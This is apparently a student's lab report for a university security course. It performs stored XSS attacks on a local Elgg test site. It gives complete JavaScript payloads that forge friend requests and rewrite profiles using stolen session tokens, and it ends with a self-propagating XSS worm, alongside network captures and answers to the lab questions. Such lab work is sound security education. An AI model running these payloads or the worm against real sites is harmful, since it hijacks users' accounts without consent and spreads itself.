

SENG 360 Assignment 12

XSS Lab

Task 1: Becoming the Victim's Friend

JavaScript Code

Using the observations below I constructed the following JS code to send out an HTTP request to add Samy as a friend. The below code was placed in the "About Me" field of Samy's profile page.

```
<script type = "text/javascript">
window.onload = function () {
  var Ajax = null;

  var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
  var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

  //Construct the HTTP request to add Samy as a friend.
  //sendurl filled in by me below
  var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=47"+ts+token;

  // Create and send Ajax request to add friend
  Ajax = new XMLHttpRequest();
  Ajax.open("GET", sendurl, true);
  Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
  Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  Ajax.send();
}
</script>
```

Observations

Prior to beginning the construction of the code and request for the attack we need to see what a valid friend request to the server looks like. Below are the screenshots showing an add friend HTTP request. This test friend request was sent from Charlie to Sam. As we can see from the below request, to add Samy as a friend his ID is 47 and both the elgg token and ts are needed.

The screenshot shows the XSS Lab Site in a Mozilla Firefox browser. The page title is "XSS Lab Site". The network tab is open, showing a list of requests. The last request is a POST request to "add?friend=47&_elgg_ts=..." with a status of 200 OK. The response headers show "Content-Type: application/json; charset=utf-8" and "Server: Apache/2.4.18 (Ubuntu)".

Sts...	Meth...	File	Domain	Cause	Type	Transfer...	Size	0 ms	2.56 s	5.12 s	7.68 s	1	Headers	Cookies	Params	Response	Timings	Stack Trace	
200	GET	samy	www.xsslabegg.com	document	html	3 KB	10.12 KB	0 ms											
304	GET	font-awesome.css	www.xsslabegg.com	stylesheet	css	cached	28.38 KB	0 ms											
304	GET	elgg.css	www.xsslabegg.com	stylesheet	css	cached	58.09 KB	0 ms											
304	GET	colorbox.css	www.xsslabegg.com	stylesheet	css	cached	3.80 KB	0 ms											
304	GET	jquery.js	www.xsslabegg.com	script	js	cached	0 B	0 ms											
304	GET	jquery-ui.js	www.xsslabegg.com	script	js	cached	0 B	0 ms											
304	GET	require_config.js	www.xsslabegg.com	script	js	cached	798 B	0 ms											
304	GET	require.js	www.xsslabegg.com	script	js	cached	0 B	0 ms											
304	GET	elgg.js	www.xsslabegg.com	script	js	cached	0 B	0 ms											
304	GET	44topbar.jpg	www.xsslabegg.com	img	jpeg	cached	865 B	0 ms											
304	GET	47large.jpg	www.xsslabegg.com	img	jpeg	cached	13.64 KB	0 ms											
304	GET	/7ceElgg=5qccb13ug76189...	127.0.0.1	img	img	0 GB	0 B	0 ms											
304	GET	en.js	www.xsslabegg.com	script	js	cached	0 B	0 ms											
304	GET	init.js	www.xsslabegg.com	script	js	cached	619 B	0 ms											
304	GET	ready.js	www.xsslabegg.com	script	js	cached	271 B	0 ms											
304	GET	plugin.js	www.xsslabegg.com	script	js	cached	630 B	0 ms											
200	POST	add?friend=47&_elgg_ts=...	www.xsslabegg.com	xhr	json	628 B	307 B	0 ms											

The screenshot shows the "Params" tab in the network traffic tool. It displays the query string and form data parameters for the selected request.

Headers	Cookies	Params	Response	Timings	Stack Trace
Filter request parameters					
Query string					
_elgg_token: ASJBxXoiFNq6ScJ25RiVoQ					
_elgg_ts: 1606675609					
friend: 47					
Form data					
_elgg_token: ASJBxXoiFNq6ScJ25RiVoQ					
_elgg_ts: 1606675609					

Once completed Alice visits Samy's profile and is then added as his friend as shown below. The successful attack happens in the background and Alice likely has no idea this has occurred.



Questions

Question 1: Explain the purpose of Lines (1) and (2) above, why are they are needed?

To send a valid HTTP request the secret token and timestamp value of the site must be contained in the request. If these items are not included the request will be invalid. Line one grabs the stored time stamp and line 2 grabs the security token.

Question 2: If the Elgg application only provide the Editor mode for the "About Me" field, i.e., you cannot switch to the Text mode, can you still launch a successful attack?

If the Elgg application only provides the Editor mode for the "About Me" field, we would not be able to execute the attack. This is because the editor mode encodes the special input characters. When I attempted inserting < in this mode it gets encoded as <. Since we need the script tag to make it an executable script, we would not be able to get around this obstacle.

Task 2: Modifying the Victim's Profile

JavaScript Code

Using the observations below I constructed the following JS code to send out an HTTP request to edit the victims' profile. The below code was placed in the "About Me" field of Samy's profile page.

```
<script type = "text/javascript">
window.onload = function () {
    //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
    //and Security Token __elgg_token
    var userName = elgg.session.user.name;
    var guid = "&guid=" + elgg.session.user.guid;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

    //Construct the content of your url
    var sendurl="http://www.xsslabelgg.com/action/profile/edit";
    var desc = "&description=Samy modified me!" + " &accesslevel[description]=2"
    var content = token+ts+"&name="+userName+desc+guid;
    var samyGuid = 47;

    if(elgg.session.user.guid != samyGuid){
        // Create and send Ajax request to add friend
        var Ajax = null;
        Ajax = new XMLHttpRequest();
        Ajax.open("POST", sendurl, true);
        Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>
```

Observations

Prior to beginning the construction of the code and request for the attack we need to see what a valid profile modification looks like. Below are the screenshots showing an edit profile HTTP request. This test was run through Samy's account by adding the word testing in the description field. As you can see from the request's parameters all the access level's are set to 2. Also when executing the request on the victim we must include their GUID, secret token and timestamp, and the text we want to write to a specific field. To make this field visible we must also set the access level to 2.

Samy : XSS Lab Site - Mozilla Firefox

File Edit View History Bookmarks Tools Help

Samy: XSS Lab Site

www.xsslabelgg.com/profile/samy

Most Visited SEED Labs Sites for Labs

Account »

XSS Lab Site

Activity Blogs Bookmarks Files Groups More »

Add widgets

Samy Friends

Inspector Console Debugger Style Editor Performance Memory Network Storage

Filter URLs

Sta...	Meth...	File	Domain	Cause	Type	Transfer...	Size	0 ms	160 ms	320 ms	480 ms	640 ms	800 ms	960 ms	1 s
382	POST	edit	www.xsslabelgg.c...	document.html		3.82 KB	13.76 KB	→ 64 ms							
200	GET	samy	www.xsslabelgg.c...	document.html		3.84 KB	13.76 KB	→ 36 ms							
200	GET	font-awesome.css	www.xsslabelgg.c...	stylesheet.css	cached		28.38 KB								
200	GET	elgg.css	www.xsslabelgg.c...	stylesheet.css	cached		58.09 KB								
200	GET	colorbox.css	www.xsslabelgg.c...	stylesheet.css	cached		3.80 KB								
200	GET	jquery.js	www.xsslabelgg.c...	script.js	cached		0 B								
200	GET	jquery-ui.js	www.xsslabelgg.c...	script.js	cached		0 B								
200	GET	require_config.js	www.xsslabelgg.c...	script.js	cached		798 B								
200	GET	require.js	www.xsslabelgg.c...	script.js	cached		0 B								
200	GET	elgg.js	www.xsslabelgg.c...	script.js	cached		0 B								
200	GET	/7c=Elgg-kbjrou055bbh2qp0...	127.0.0.1:5555	img		0 GB	0 B	→ 0 ms							
200	GET	en.js	www.xsslabelgg.c...	script.js	cached		0 B								
200	GET	init.js	www.xsslabelgg.c...	script.js	cached		619 B								
200	GET	ready.js	www.xsslabelgg.c...	script.js	cached		271 B								
200	GET	Plugin.js	www.xsslabelgg.c...	script.js	cached		630 B								

15 requests 120.05 KB / 0 GB transferred Finish: 930 ms DOMContentLoaded: 548 ms load: 976 ms

Request URL: http://www.xsslabelgg.com/action/profile/edit

Request method: POST

Remote address: 127.0.0.1:80

Status code: 302 Found Edit and Resend Raw headers

Version: HTTP/1.1


Filter headers

Response headers (365 B)


- Cache-Control: no-store, no-cache, must-revalidate
- Connection: Keep-Alive
- Content-Length: 0
- Content-Type: text/html; charset=utf-8
- Date: Sun, 29 Nov 2020 18:52:12 GMT
- Expires: Thu, 19 Nov 1981 08:52:00 GMT
- Keep-Alive: timeout=5, max=100
- Location: http://www.xsslabelgg.com/profile/samy
- Pragma: no-cache
- Server: Apache/2.4.18 (Ubuntu)

Request headers (509 B)

- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*; q=0.8
- Accept-Encoding: gzip, deflate
- Accept-Language: en-US,en;q=0.5
- Connection: keep-alive
- Content-Length: 651
- Content-Type: application/x-www-form-urlencoded
- Cookie: Elgg-kbjrou055bbh2qp0q0i1badob4
- Host: www.xsslabelgg.com
- Referer: http://www.xsslabelgg.com/profile/samy/edit
- Upgrade-Insecure-Requests: 1



Once completed Alice visits Samy's profile and her about me field is changed to say Samy has modified this. The successful attack happens in the background and Alice cannot stop it from occurring. Her profile fields can be under our control.



Questions

Question 3: Why do we need Line (1) above? Remove this line and repeat your attack. Report and explain your observation.

We need Line 1 so that Samy does not attack himself. Since I am editing the victims about me field and my JS code is also in the about me field this could stop my own attack. When uncommented the JS code in the about me field is replaced by the text I tried to add to the victim's profile. Since my code is no longer there no one can be attacked.

Task 3: Writing a Self-Propagating XSS Worm

JavaScript Code

This task creates a propagating worm to infect users who have not visited Samy's profile but any infected user's profile. The below code was placed in the "About Me" field of Samy's profile page.

```
<script type="text/javascript" id="worm">
window.onload = function () {
    var header = "<script id=\"worm\" type=\"text/javascript\">";
    var js = document.getElementById("worm").innerHTML;
    var tail = "</\" + \"script>\"";
    var wormCode = encodeURIComponent(header + js + tail);
    //JavaScript code to access user, name, user guid, Time Stamp __elgg_ts
    //and Security Token __elgg_token
    var userName = elgg.session.user.name;
    var guid = "&guid=" + elgg.session.user.guid;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

    //Construct the content of your url
    var sendurl="http://www.xsslabelgg.com/action/profile/edit";
    var desc = "&description=Samy modified me!" + wormCode + " &accesslevel[description]=2"
    var content = token+ts+"&name="+userName+desc+guid;
    var samyGuid = 47;

    if(elgg.session.user.guid != samyGuid){
        // Create and send Ajax request to add friend
        var Ajax = null;
        Ajax = new XMLHttpRequest();
        Ajax.open("POST", sendurl, true);
        Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>
```

Observations

With our propagating worm we first have Alice visit Samy's profile. This changes Alice's profile as shown below and her profile now includes that worm. Then I logged out of Alice's account and into Charlie's and viewed Alice's profile. After doing this his profile was edited and the worm transferred to him also. It is important to note Charlie has the worm but never visited Samy's profile.

